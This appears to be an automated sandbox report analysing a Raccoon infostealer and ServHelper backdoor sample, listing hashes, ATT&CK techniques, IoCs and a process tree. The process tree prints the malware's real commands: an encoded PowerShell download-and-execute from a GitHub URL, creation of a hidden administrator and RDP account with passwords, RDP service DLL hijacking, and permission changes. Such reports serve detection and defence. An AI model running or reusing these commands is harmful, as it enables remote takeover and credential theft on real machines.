raccoon | 6edeb556be76e512086ea5d99d06150198cd03b635f92c397e115b50353e550a

Analysis

max time kernel
138s
max time network
130s
platform
windows7_x64
resource
win7v20210410
submitted
02-06-2021 20:04

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General

Target

d117d7a4d80ae2f09826332756748b53.exe
Size

569KB
MD5

d117d7a4d80ae2f09826332756748b53
SHA1

eaba1e039bc97034a8503b914f2818cc1a98bdf0
SHA256

6edeb556be76e512086ea5d99d06150198cd03b635f92c397e115b50353e550a
SHA512

bd0b54f0bb7b2e38307397e74fc1f69ce0d80d796162e52e6e2fac405b4759e998b2136359576e3b93fdd807c490a5e737e4637754c044c51192123f31de86ea

Score

10^/10

raccoon servhelper e46634757936706c1ff491585768dd6fe231db30 backdoor discovery exploit persistence spyware stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	1580	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1944	NtDmSmZqIZ.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1484	icacls.exe
1584	icacls.exe
1064	icacls.exe
696	icacls.exe
1072	icacls.exe
1592	icacls.exe
1580	takeown.exe
1308	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00060000000130fa-199.dat	upx
behavioral1/files/0x00060000000130fb-200.dat	upx

Deletes itself 1 IoCs

pid	Process
544	cmd.exe

Loads dropped DLL 12 IoCs

pid	Process
1072	d117d7a4d80ae2f09826332756748b53.exe
1072	d117d7a4d80ae2f09826332756748b53.exe
1072	d117d7a4d80ae2f09826332756748b53.exe
1072	d117d7a4d80ae2f09826332756748b53.exe
1072	d117d7a4d80ae2f09826332756748b53.exe
1072	d117d7a4d80ae2f09826332756748b53.exe
1072	d117d7a4d80ae2f09826332756748b53.exe
1072	d117d7a4d80ae2f09826332756748b53.exe
1072	d117d7a4d80ae2f09826332756748b53.exe
1072	d117d7a4d80ae2f09826332756748b53.exe
864	Process not Found
864	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1484	icacls.exe
1584	icacls.exe
1064	icacls.exe
696	icacls.exe
1072	icacls.exe
1592	icacls.exe
1580	takeown.exe
1308	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1cdc8cf1-73c8-437a-8124-d914cb8f3847	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_53359492-cfbb-40b4-b954-9c829638cdfa	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_eaa53841-060c-4324-ab2f-2371390d6c3d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ab653c30-11ec-4ae3-a38e-4dc5ff022e66	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9ef91149-b558-4f31-ace9-ad3230eafa98	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e038cfad-9cff-4fdf-938b-340d455cf24c	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_96b8c0b7-31de-48ee-b292-dd6aa9f6b475	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0dcbaaa5-d33e-4251-9956-4cf91aeec1a8	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4fa7b99f-100e-4dad-b145-14c537217122	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_093e4dc1-64a8-4ba1-893d-7cbfd88dddf4	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b64b0b14-2c2e-4a15-9a8c-e1a1495e0a0b	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DXKBHNALC7PI9UYYDU8H.temp	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1064	timeout.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 801e5623ea57d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
648	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	d117d7a4d80ae2f09826332756748b53.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	d117d7a4d80ae2f09826332756748b53.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
780	powershell.exe
780	powershell.exe
696	powershell.exe
696	powershell.exe
2008	powershell.exe
2008	powershell.exe
240	powershell.exe
240	powershell.exe
780	powershell.exe
780	powershell.exe
780	powershell.exe
1580	powershell.exe
1580	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
460	Process not Found
864	Process not Found
864	Process not Found
864	Process not Found
864	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	780	powershell.exe
Token: SeDebugPrivilege	696	powershell.exe
Token: SeDebugPrivilege	2008	powershell.exe
Token: SeDebugPrivilege	240	powershell.exe
Token: SeRestorePrivilege	1484	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	240	WMIC.exe
Token: SeIncreaseQuotaPrivilege	240	WMIC.exe
Token: SeAuditPrivilege	240	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	240	WMIC.exe
Token: SeIncreaseQuotaPrivilege	240	WMIC.exe
Token: SeAuditPrivilege	240	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1328	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1328	WMIC.exe
Token: SeAuditPrivilege	1328	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1328	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1328	WMIC.exe
Token: SeAuditPrivilege	1328	WMIC.exe
Token: SeDebugPrivilege	1580	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1072 wrote to memory of 1944	1072	d117d7a4d80ae2f09826332756748b53.exe	30
PID 1072 wrote to memory of 1944	1072	d117d7a4d80ae2f09826332756748b53.exe	30
PID 1072 wrote to memory of 1944	1072	d117d7a4d80ae2f09826332756748b53.exe	30
PID 1072 wrote to memory of 1944	1072	d117d7a4d80ae2f09826332756748b53.exe	30
PID 1072 wrote to memory of 544	1072	d117d7a4d80ae2f09826332756748b53.exe	31
PID 1072 wrote to memory of 544	1072	d117d7a4d80ae2f09826332756748b53.exe	31
PID 1072 wrote to memory of 544	1072	d117d7a4d80ae2f09826332756748b53.exe	31
PID 1072 wrote to memory of 544	1072	d117d7a4d80ae2f09826332756748b53.exe	31
PID 544 wrote to memory of 1064	544	cmd.exe	33
PID 544 wrote to memory of 1064	544	cmd.exe	33
PID 544 wrote to memory of 1064	544	cmd.exe	33
PID 544 wrote to memory of 1064	544	cmd.exe	33
PID 1944 wrote to memory of 780	1944	NtDmSmZqIZ.exe	34
PID 1944 wrote to memory of 780	1944	NtDmSmZqIZ.exe	34
PID 1944 wrote to memory of 780	1944	NtDmSmZqIZ.exe	34
PID 780 wrote to memory of 1660	780	powershell.exe	36
PID 780 wrote to memory of 1660	780	powershell.exe	36
PID 780 wrote to memory of 1660	780	powershell.exe	36
PID 1660 wrote to memory of 808	1660	csc.exe	37
PID 1660 wrote to memory of 808	1660	csc.exe	37
PID 1660 wrote to memory of 808	1660	csc.exe	37
PID 780 wrote to memory of 696	780	powershell.exe	38
PID 780 wrote to memory of 696	780	powershell.exe	38
PID 780 wrote to memory of 696	780	powershell.exe	38
PID 780 wrote to memory of 2008	780	powershell.exe	40
PID 780 wrote to memory of 2008	780	powershell.exe	40
PID 780 wrote to memory of 2008	780	powershell.exe	40
PID 780 wrote to memory of 240	780	powershell.exe	42
PID 780 wrote to memory of 240	780	powershell.exe	42
PID 780 wrote to memory of 240	780	powershell.exe	42
PID 780 wrote to memory of 1580	780	powershell.exe	45
PID 780 wrote to memory of 1580	780	powershell.exe	45
PID 780 wrote to memory of 1580	780	powershell.exe	45
PID 780 wrote to memory of 1308	780	powershell.exe	46
PID 780 wrote to memory of 1308	780	powershell.exe	46
PID 780 wrote to memory of 1308	780	powershell.exe	46
PID 780 wrote to memory of 1484	780	powershell.exe	47
PID 780 wrote to memory of 1484	780	powershell.exe	47
PID 780 wrote to memory of 1484	780	powershell.exe	47
PID 780 wrote to memory of 1584	780	powershell.exe	48
PID 780 wrote to memory of 1584	780	powershell.exe	48
PID 780 wrote to memory of 1584	780	powershell.exe	48
PID 780 wrote to memory of 1064	780	powershell.exe	49
PID 780 wrote to memory of 1064	780	powershell.exe	49
PID 780 wrote to memory of 1064	780	powershell.exe	49
PID 780 wrote to memory of 696	780	powershell.exe	50
PID 780 wrote to memory of 696	780	powershell.exe	50
PID 780 wrote to memory of 696	780	powershell.exe	50
PID 780 wrote to memory of 1072	780	powershell.exe	51
PID 780 wrote to memory of 1072	780	powershell.exe	51
PID 780 wrote to memory of 1072	780	powershell.exe	51
PID 780 wrote to memory of 1592	780	powershell.exe	52
PID 780 wrote to memory of 1592	780	powershell.exe	52
PID 780 wrote to memory of 1592	780	powershell.exe	52
PID 780 wrote to memory of 1152	780	powershell.exe	53
PID 780 wrote to memory of 1152	780	powershell.exe	53
PID 780 wrote to memory of 1152	780	powershell.exe	53
PID 780 wrote to memory of 648	780	powershell.exe	54
PID 780 wrote to memory of 648	780	powershell.exe	54
PID 780 wrote to memory of 648	780	powershell.exe	54
PID 780 wrote to memory of 556	780	powershell.exe	55
PID 780 wrote to memory of 556	780	powershell.exe	55
PID 780 wrote to memory of 556	780	powershell.exe	55
PID 780 wrote to memory of 1712	780	powershell.exe	56

C:\Users\Admin\AppData\Local\Temp\d117d7a4d80ae2f09826332756748b53.exe
"C:\Users\Admin\AppData\Local\Temp\d117d7a4d80ae2f09826332756748b53.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1072
- C:\Users\Admin\AppData\Local\Temp\NtDmSmZqIZ.exe
  "C:\Users\Admin\AppData\Local\Temp\NtDmSmZqIZ.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:780
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fx3we04n\fx3we04n.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1660
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5CA1.tmp" "c:\Users\Admin\AppData\Local\Temp\fx3we04n\CSC1C4B741A18D84EF1BF2B7F47514BAE7B.TMP"
        5⤵
        
        PID:808
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:240
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1580
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1308
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1484
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1584
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1064
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:696
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1072
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1592
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1152
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:648
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:556
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1712
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:1524
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:1492
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:360
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:724
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:1564
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:1424
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:1584
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:1336
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:1476
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:544
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:696
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\d117d7a4d80ae2f09826332756748b53.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:544
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:1064

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:2028
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1668
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:240

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc eI8AgJXQ /add
1⤵
PID:1628
- C:\Windows\system32\net.exe
  net.exe user wgautilacc eI8AgJXQ /add
  2⤵
  PID:724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc eI8AgJXQ /add
    3⤵
    PID:940

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1524
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1712
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1668

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:1140
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:1328
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:724

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:940
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:240
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1712

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc eI8AgJXQ
1⤵
PID:1540
- C:\Windows\system32\net.exe
  net.exe user wgautilacc eI8AgJXQ
  2⤵
  PID:856
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc eI8AgJXQ
    3⤵
    PID:1328

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:648
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:240

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:724
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1328

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1492
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1580

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:1424
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1712
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:556

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/240-168-0x000000001AB54000-0x000000001AB56000-memory.dmp

Filesize
8KB

Download
memory/240-166-0x000000001AB50000-0x000000001AB52000-memory.dmp

Filesize
8KB

Download
memory/696-116-0x0000000002330000-0x0000000002331000-memory.dmp

Filesize
4KB

Download
memory/696-137-0x000000001B660000-0x000000001B661000-memory.dmp

Filesize
4KB

Download
memory/696-118-0x000000001AA44000-0x000000001AA46000-memory.dmp

Filesize
8KB

Download
memory/696-124-0x000000001B4E0000-0x000000001B4E1000-memory.dmp

Filesize
4KB

Download
memory/696-115-0x000000001A9E0000-0x000000001A9E1000-memory.dmp

Filesize
4KB

Download
memory/696-117-0x000000001AA40000-0x000000001AA42000-memory.dmp

Filesize
8KB

Download
memory/696-138-0x000000001B770000-0x000000001B771000-memory.dmp

Filesize
4KB

Download
memory/696-111-0x00000000027A0000-0x00000000027A1000-memory.dmp

Filesize
4KB

Download
